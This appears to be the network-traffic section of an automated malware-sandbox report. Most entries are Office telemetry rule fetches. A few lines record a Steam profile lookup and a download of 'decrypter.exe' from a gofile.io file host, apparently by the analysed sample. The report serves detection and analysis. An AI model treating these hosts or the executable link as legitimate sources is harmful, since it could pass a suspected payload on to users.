Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /download/web/e0a000c3-418c-4ce9-9bba-affc23d7af8a/decrypter.exe HTTP/1.1Host: cold-eu-fsn-2.gofile.io
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /d/bcfa72bd-ef57-4519-ad7e-6fc790a80290 HTTP/1.1Host: gofile.ioConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704051v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
